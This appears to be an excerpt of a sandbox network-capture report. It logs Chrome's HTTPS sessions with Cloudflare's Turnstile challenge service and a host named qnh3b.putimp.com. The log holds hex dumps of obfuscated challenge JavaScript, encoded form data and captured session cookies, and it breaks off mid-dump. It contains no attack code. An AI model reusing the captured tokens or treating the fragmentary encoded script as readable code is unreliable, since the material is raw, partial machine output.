2024-04-16 19:39:48 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8756a4b73c471383 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:48 UTC	335	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:48 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8756a4ba8c180d16-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:48 UTC	1034	IN	Data Raw: 37 65 36 30 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 76 2c 66 45 2c 66 46 2c 66 47 2c 66 48 2c 66 4c 2c 66 4d 2c 66 51 2c 66 54 2c 66 55 2c 67 6e 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6c 2c 68 78 2c Data Ascii: 7e60window._cf_chl_opt.uaO=false;~function(iv,fE,fF,fG,fH,fL,fM,fQ,fT,fU,gn,gp,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hl,hx,
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 48 5a 6c 6d 47 27 3a 69 7a 28 31 30 32 30 29 2c 27 79 47 48 75 4f 27 3a 69 7a 28 37 31 37 29 2c 27 6d 44 53 71 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 2c 4a 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 2c 4a 29 7d 2c 27 4e 4c 56 6f 48 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 5a 67 54 49 54 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 6e 64 61 56 57 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 69 7a 28 32 35 33 33 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 6f 5b 69 7a 28 32 35 33 33 29 5d 28 76 6f 69 64 20 30 2c 68 29 Data Ascii: (G,H){return G(H)},'HZlmG':iz(1020),'yGHuO':iz(717),'mDSqJ':function(G,H,I,J){return G(H,I,J)},'NLVoH':function(G,H,I){return G(H,I)},'ZgTIT':function(G,H,I){return G(H,I)},'ndaVW':function(G,H,I){return G(H,I)}},o[iz(2533)](null,h)\|\|o[iz(2533)](void 0,h)
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 3d 27 66 27 26 26 28 6c 3d 27 4e 27 29 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 6d 3c 68 5b 6a 5b 6b 5d 5d 5b 69 43 28 32 34 38 38 29 5d 3b 2d 31 3d 3d 3d 67 5b 6c 5d 5b 69 43 28 36 35 37 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 26 26 28 69 5b 69 43 28 31 38 31 39 29 5d 28 66 4d 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 69 43 28 31 34 38 33 29 5d 28 69 5b 69 43 28 32 35 35 32 29 5d 28 27 6f 2e 27 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 69 43 28 32 34 38 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 6e 7d 29 7d 2c 66 45 5b 69 76 28 31 31 38 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 69 4e 2c 65 29 7b 65 3d 28 69 4e 3d 69 76 Data Ascii: ='f'&&(l='N'),g[l]){for(m=0;m<h[j[k]][iC(2488)];-1===g[l][iC(657)](h[j[k]][m])&&(i[iC(1819)](fM,h[j[k]][m])\|\|g[l][iC(1483)](i[iC(2552)]('o.',h[j[k]][m]))),m++);}else g[l]=h[j[k]][iC(2483)](function(n){return'o.'+n})},fE[iv(1184)]=function(c,iN,e){e=(iN=iv
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 73 64 77 70 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 50 52 6c 6a 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 63 62 78 42 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 4e 62 46 53 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 75 4d 62 4b 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6a 61 6b 7a 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 77 53 53 4a 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 Data Ascii: on(h,i){return i==h},'sdwpi':function(h,i){return h(i)},'PRljC':function(h,i){return hi},'cbxBJ':function(h,i){return h!=i},'NbFSk':function(h,i){return ih},'uMbKd':function(h,i){return h(i)},'jakzc':function(h,i){return h-i},'wSSJb':function(h,i){retur
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 69 53 28 32 36 33 34 29 5d 5b 69 53 28 35 39 37 29 5d 5b 69 53 28 32 31 31 34 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 44 2b 4c 2c 4f 62 6a 65 63 74 5b 69 53 28 32 36 33 34 29 5d 5b 69 53 28 35 39 37 29 5d 5b 69 53 28 32 31 31 34 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 69 53 28 32 36 33 34 29 5d 5b 69 53 28 35 39 37 29 5d 5b 69 53 28 32 31 31 34 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 69 53 28 32 39 33 34 29 5d 28 32 35 36 2c 44 5b 69 53 28 31 35 34 38 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 64 5b 69 53 28 31 31 35 36 29 5d 28 78 2c 47 29 3b 49 3c 3c 3d 31 2c 64 5b 69 53 28 31 35 39 39 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a Data Ascii: ](K),Object[iS(2634)][iS(597)][iS(2114)](B,L)\|\|(B[L]=F++,C[L]=!0),M=D+L,Object[iS(2634)][iS(597)][iS(2114)](B,M))D=M;else{if(Object[iS(2634)][iS(597)][iS(2114)](C,D)){if(d[iS(2934)](256,D[iS(1548)](0))){for(x=0;d[iS(1156)](x,G);I<<=1,d[iS(1599)](J,j-1)?(J
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 69 73 2e 68 5b 73 5b 69 53 28 33 32 34 32 29 5d 28 35 35 2c 74 68 69 73 2e 67 29 5d 3d 61 30 2c 74 68 69 73 2e 68 5b 73 5b 69 53 28 33 32 34 32 29 5d 28 32 35 2c 74 68 69 73 2e 67 29 5d 3d 61 31 2c 74 68 69 73 2e 68 5b 33 37 2e 37 39 5e 74 68 69 73 2e 67 5d 3d 61 32 2c 74 68 69 73 2e 68 5b 31 38 34 5e 74 68 69 73 2e 67 5d 3d 61 33 2c 74 68 69 73 2e 68 5b 73 5b 69 53 28 37 32 30 29 5d 28 39 33 2c 74 68 69 73 2e 67 29 5d 3d 61 34 2c 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 30 5d 3d 61 35 2c 74 68 69 73 2e 68 5b 73 5b 69 53 28 33 32 34 32 29 5d 28 32 30 39 2c 74 68 69 73 2e 67 29 5d 3d 61 36 2c 74 68 69 73 2e 68 5b 32 34 32 5e 74 68 69 73 2e 67 5d 3d 61 37 2c 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 37 2e 33 39 5d 3d 5b 30 2c 61 38 2c 61 39 28 Data Ascii: is.h[s[iS(3242)](55,this.g)]=a0,this.h[s[iS(3242)](25,this.g)]=a1,this.h[37.79^this.g]=a2,this.h[184^this.g]=a3,this.h[s[iS(720)](93,this.g)]=a4,this.h[this.g^120]=a5,this.h[s[iS(3242)](209,this.g)]=a6,this.h[242^this.g]=a7,this.h[this.g^127.39]=[0,a8,a9(
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 69 54 28 31 38 31 30 29 2c 69 54 28 39 36 30 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 27 27 3d 3d 68 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 69 54 28 32 34 38 38 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 69 55 29 7b 72 65 74 75 72 6e 20 69 55 3d 69 54 2c 68 5b 69 55 28 31 35 34 38 29 5d 28 69 29 7d 29 3b 65 6c 73 65 20 64 5b 69 54 28 31 36 36 36 29 5d 5b 69 54 28 31 36 38 37 29 5d 3d 27 30 27 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 56 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 69 56 3d 69 4f 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 64 5b 69 56 28 32 39 Data Ascii: iT(1810),iT(960)))return null==h?'':''==h?null:f.i(h[iT(2488)],32768,function(i,iU){return iU=iT,h[iU(1548)](i)});else d[iT(1666)][iT(1687)]='0'},'i':function(i,j,o,iV,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(iV=iO,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;d[iV(29
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 2c 73 5b 42 2b 2b 5d 3d 45 2b 4d 5b 69 56 28 32 32 33 36 29 5d 28 30 29 2c 78 2d 2d 2c 45 3d 4d 2c 64 5b 69 56 28 31 37 31 35 29 5d 28 30 2c 78 29 26 26 28 78 3d 4d 61 74 68 5b 69 56 28 33 31 34 32 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 69 4f 28 31 39 36 34 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 66 52 3d 5b 5d 2c 66 53 3d 30 3b 32 35 36 3e 66 53 3b 66 52 5b 66 53 5d 3d 53 74 72 69 6e 67 5b 69 76 28 32 38 30 39 29 5d 28 66 53 29 2c 66 53 2b 2b 29 3b 69 74 3d 28 66 54 3d 28 30 2c 65 76 61 6c 29 28 69 76 28 31 31 34 32 29 29 2c 66 55 3d 61 74 6f 62 28 69 76 28 31 38 30 31 29 29 2c 66 45 5b 69 76 28 31 38 35 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6a 74 2c 64 2c 65 2c 66 2c 67 29 7b 6a 74 3d 69 76 2c 64 3d 7b 7d 2c 64 5b 6a 74 28 36 Data Ascii: ,s[B++]=E+M[iV(2236)](0),x--,E=M,d[iV(1715)](0,x)&&(x=Math[iV(3142)](2,C),C++)}}},g={},g[iO(1964)]=f.h,g}(),fR=[],fS=0;256>fS;fR[fS]=String[iv(2809)](fS),fS++);it=(fT=(0,eval)(iv(1142)),fU=atob(iv(1801)),fE[iv(1851)]=function(jt,d,e,f,g){jt=iv,d={},d[jt(6
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 6a 76 28 32 39 39 34 29 5d 3d 66 2c 73 2e 63 63 3d 67 2c 73 5b 6a 76 28 31 38 36 34 29 5d 3d 6b 2c 78 3d 4a 53 4f 4e 5b 6a 76 28 32 35 31 32 29 5d 28 73 29 2c 42 3d 66 51 5b 6a 76 28 31 39 36 34 29 5d 28 78 29 5b 6a 76 28 31 30 38 34 29 5d 28 27 2b 27 2c 6a 5b 6a 76 28 32 37 30 39 29 5d 29 2c 6e 5b 6a 76 28 33 30 39 35 29 5d 28 6a 5b 6a 76 28 32 37 32 37 29 5d 28 6a 5b 6a 76 28 36 37 30 29 5d 28 27 76 5f 27 2c 66 45 5b 6a 76 28 31 35 38 30 29 5d 5b 6a 76 28 33 30 31 30 29 5d 29 2b 27 3d 27 2c 42 29 29 7d 63 61 74 63 68 28 43 29 7b 7d 7d 2c 66 45 5b 69 76 28 32 38 35 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 6a 77 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 6a 77 3d 69 76 2c 69 3d 7b 7d 2c 69 5b 6a 77 28 36 32 31 29 5d 3d 6a 77 28 32 Data Ascii: jv(2994)]=f,s.cc=g,s[jv(1864)]=k,x=JSON[jv(2512)](s),B=fQ[jv(1964)](x)[jv(1084)]('+',j[jv(2709)]),n[jv(3095)](j[jv(2727)](j[jv(670)]('v_',fE[jv(1580)][jv(3010)])+'=',B))}catch(C){}},fE[iv(2851)]=function(d,e,f,g,h,jw,i,j,k,l,m){(jw=iv,i={},i[jw(621)]=jw(2
2024-04-16 19:39:48 UTC	1369	IN	Data Raw: 69 76 28 31 34 34 32 29 5d 3d 69 76 28 32 35 34 36 29 2c 67 70 5b 69 76 28 31 39 37 32 29 5d 3d 69 76 28 32 35 33 31 29 2c 67 70 5b 69 76 28 33 31 38 38 29 5d 3d 69 76 28 36 38 39 29 2c 67 70 5b 69 76 28 31 39 37 36 29 5d 3d 69 76 28 37 37 39 29 2c 67 70 5b 69 76 28 32 30 37 31 29 5d 3d 69 76 28 33 32 33 39 29 2c 67 70 5b 69 76 28 32 39 32 35 29 5d 3d 69 76 28 31 31 39 33 29 2c 67 70 5b 69 76 28 32 32 38 39 29 5d 3d 69 76 28 31 31 32 39 29 2c 67 70 5b 69 76 28 33 30 32 33 29 5d 3d 69 76 28 31 38 32 31 29 2c 67 70 5b 69 76 28 33 30 34 30 29 5d 3d 69 76 28 33 30 34 37 29 2c 67 70 5b 69 76 28 31 35 35 33 29 5d 3d 69 76 28 37 39 39 29 2c 67 70 5b 69 76 28 36 34 39 29 5d 3d 69 76 28 31 34 36 36 29 2c 67 70 5b 69 76 28 31 30 39 35 29 5d 3d 69 76 28 31 33 39 33 Data Ascii: iv(1442)]=iv(2546),gp[iv(1972)]=iv(2531),gp[iv(3188)]=iv(689),gp[iv(1976)]=iv(779),gp[iv(2071)]=iv(3239),gp[iv(2925)]=iv(1193),gp[iv(2289)]=iv(1129),gp[iv(3023)]=iv(1821),gp[iv(3040)]=iv(3047),gp[iv(1553)]=iv(799),gp[iv(649)]=iv(1466),gp[iv(1095)]=iv(1393

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:48 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:48 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:48 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8756a4bafe4944fd-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:48 UTC	67	IN	Data Raw: 33 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 3dPNGIHDRsIDAT$IENDB`
2024-04-16 19:39:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:48 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:48 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:48 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8756a4bebb13070d-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:48 UTC	67	IN	Data Raw: 33 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 3dPNGIHDRsIDAT$IENDB`
2024-04-16 19:39:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:48 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/yo0z/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhvZWRnRndkamd5MXdpamxNaU9QbEE9PSIsInZhbHVlIjoiQnJqRTZTVHRMZGdrbVRydlVFYkY1d1NONmNkM0FlQlhOajg5ZGt6azlzZ2hNUERmc3Q1QkdsbVpuTE50R0dsRjB5d3lydm1mOEFzMVBKSXJTVCtYNExQREw0R3JmN01xeDN3SzhKNEsvM0FsNGdWMUwxNlM1MHo5blVSNjkrZVEiLCJtYWMiOiJkNmMwYWZmNDhkNTc0ZWQyMmIyZWFlMDAxNTVjNjgxZDU3YjI2OWEyNTI3N2VkOTVjODQzNjNjZjIyM2MzMzUxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdFMVRWRVNxWG1PUHR4UWJNc3dqWEE9PSIsInZhbHVlIjoiMnF1V2lrMEFPem5qY0JZN1ZxaGhIc3VkRXlqQWZGT0x5R3RCNnU5b3ZMdmlNb2dXQjV1ZnQ4ZmRKcGx6bnFHVVNXdGV3b1NTdGhCaXNhMUp2V3diZHUvQ3hEWitkcGFmbDRWamFJL0VINjJlOUlCRnhTaitXMVB5b1YrY1lMcmgiLCJtYWMiOiI5ZDM1ZTI2MjJmNTg5OTU2ZmJkZDFlNTE2ODMxMDhjM2Q4YWI0ODRiZTM3NmI1ODUwMDY5ZjNmMmM5MTY0Y2U3IiwidGFnIjoiIn0%3D
2024-04-16 19:39:49 UTC	740	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 19:39:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: max-age=14400 Age: 13755 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Cq1fFiGHb%2B84J1CxIDjJOFeDMkXMJgZZbrS94qADkcXkdLypsmzF3rtO6CXtu5TpcXTRRJZFySBWsPtn%2BqJ1NNFptrkUNehGUVxGwiw8%2FnBMrK%2Bd1tKlP0uVwAJzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8756a4c01b78b062-ATL
2024-04-16 19:39:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:49 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2618 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 998145d1b266cd0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:49 UTC	2618	OUT	Data Raw: 76 5f 38 37 35 36 61 34 62 37 33 63 34 37 31 33 38 33 3d 30 57 59 41 4a 41 36 41 68 41 34 41 45 77 55 71 77 55 43 41 77 6b 61 34 6d 4d 77 56 55 6d 55 6f 6c 6b 75 49 47 55 5a 35 55 4f 6b 6d 70 6b 52 51 55 4e 74 24 61 41 55 34 55 4f 52 41 30 45 36 55 55 4d 55 6c 37 55 61 6c 55 75 67 34 52 67 71 41 77 31 50 55 30 32 38 47 55 32 35 42 34 70 55 45 45 41 52 77 55 31 47 52 5a 55 63 42 70 70 4d 79 55 6d 59 52 75 75 34 74 70 6f 48 34 55 55 76 52 52 77 48 6c 47 52 56 36 47 61 76 56 58 74 6b 77 73 55 34 47 52 6d 39 6a 53 78 77 41 55 51 55 75 70 34 61 55 41 6d 6d 25 32 62 24 47 5a 47 52 71 68 37 6b 55 77 47 55 42 4e 37 47 55 35 47 52 4a 55 61 31 55 56 6f 70 4c 47 76 52 30 5a 41 55 6e 55 56 31 58 5a 41 68 48 6e 32 57 55 4b 4e 6f 72 38 4e 51 74 74 56 38 49 57 45 33 63 Data Ascii: v_8756a4b73c471383=0WYAJA6AhA4AEwUqwUCAwka4mMwVUmUolkuIGUZ5UOkmpkRQUNt$aAU4UORA0E6UUMUl7UalUug4RgqAw1PU028GU25B4pUEEARwU1GRZUcBppMyUmYRuu4tpoH4UUvRRwHlGRV6GavVXtkwsU4GRm9jSxwAUQUup4aUAmm%2b$GZGRqh7kUwGUBN7GU5GRJUa1UVopLGvR0ZAUnUV1XZAhHn2WUKNor8NQttV8IWE3c
2024-04-16 19:39:49 UTC	691	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:49 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: 4ba62u1BDxAStjRSa38zdg0oADF9QASsgxi5zb8vwNv1KB6MgcREy1NDqHICdMl16BlLcaYz1/Odesvibfwdbb0aeC5u2v1AVpcdZKgyXwYa+Lbr70A0SHkaQ/XeoBaU7maqGlmJe28GjMOkn4boyTsZ7jvu+hlO9C3au1bqQmiBU7aJ4XY77JMhsEkdWHLPAM81J9Cps3uotCaOR9uawsWsuD5nBImTEaK189Nea+smCNAVq/Bb+an1wD0dUdIShP6cpvfNb34YTfAx8NiwR+vKwx9hQlRp+QzKt6SZvKHazimwVavGfTSLt1CmRvLZeOXfP+Mlewst5eFrymRa+We3QBTtGFIBPP0ngTspKt08A1xlAgDGRr3FVIlmitR58tbBCUVuCiylHiNzORDI6TGkLh0m1PmPoDzdARayBfk=$pkN1ENvD/i/m0ZvVtfq/og== Server: cloudflare CF-RAY: 8756a4c01a5d673a-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:49 UTC	678	IN	Data Raw: 37 63 66 63 0d 0a 5a 6b 6c 78 61 58 35 77 6b 6e 64 70 5a 48 43 55 6e 49 36 57 58 58 75 58 66 5a 4b 45 68 47 52 33 6c 57 52 69 66 57 75 6f 66 70 75 76 62 37 53 67 73 36 4b 77 74 48 47 4a 6e 5a 4b 54 76 33 75 71 6c 62 4f 2f 66 35 42 2f 75 70 57 46 6e 71 4c 4c 79 36 2b 47 7a 73 69 7a 77 74 57 69 70 71 6e 4e 75 35 61 74 30 63 61 2b 71 62 6a 42 34 61 2f 44 31 37 75 7a 74 74 75 2f 74 71 66 71 71 76 43 77 36 37 48 4b 36 4f 7a 43 73 2b 7a 59 38 4c 79 33 37 63 36 38 75 65 4c 44 39 38 54 6a 2b 50 62 49 31 2b 62 32 79 74 6a 64 78 2f 4c 7a 44 67 34 57 43 4e 49 5a 2b 41 37 72 42 66 45 54 41 4e 30 4c 41 74 6b 4f 4a 4f 55 46 38 42 55 71 49 69 30 6c 47 2f 63 79 34 79 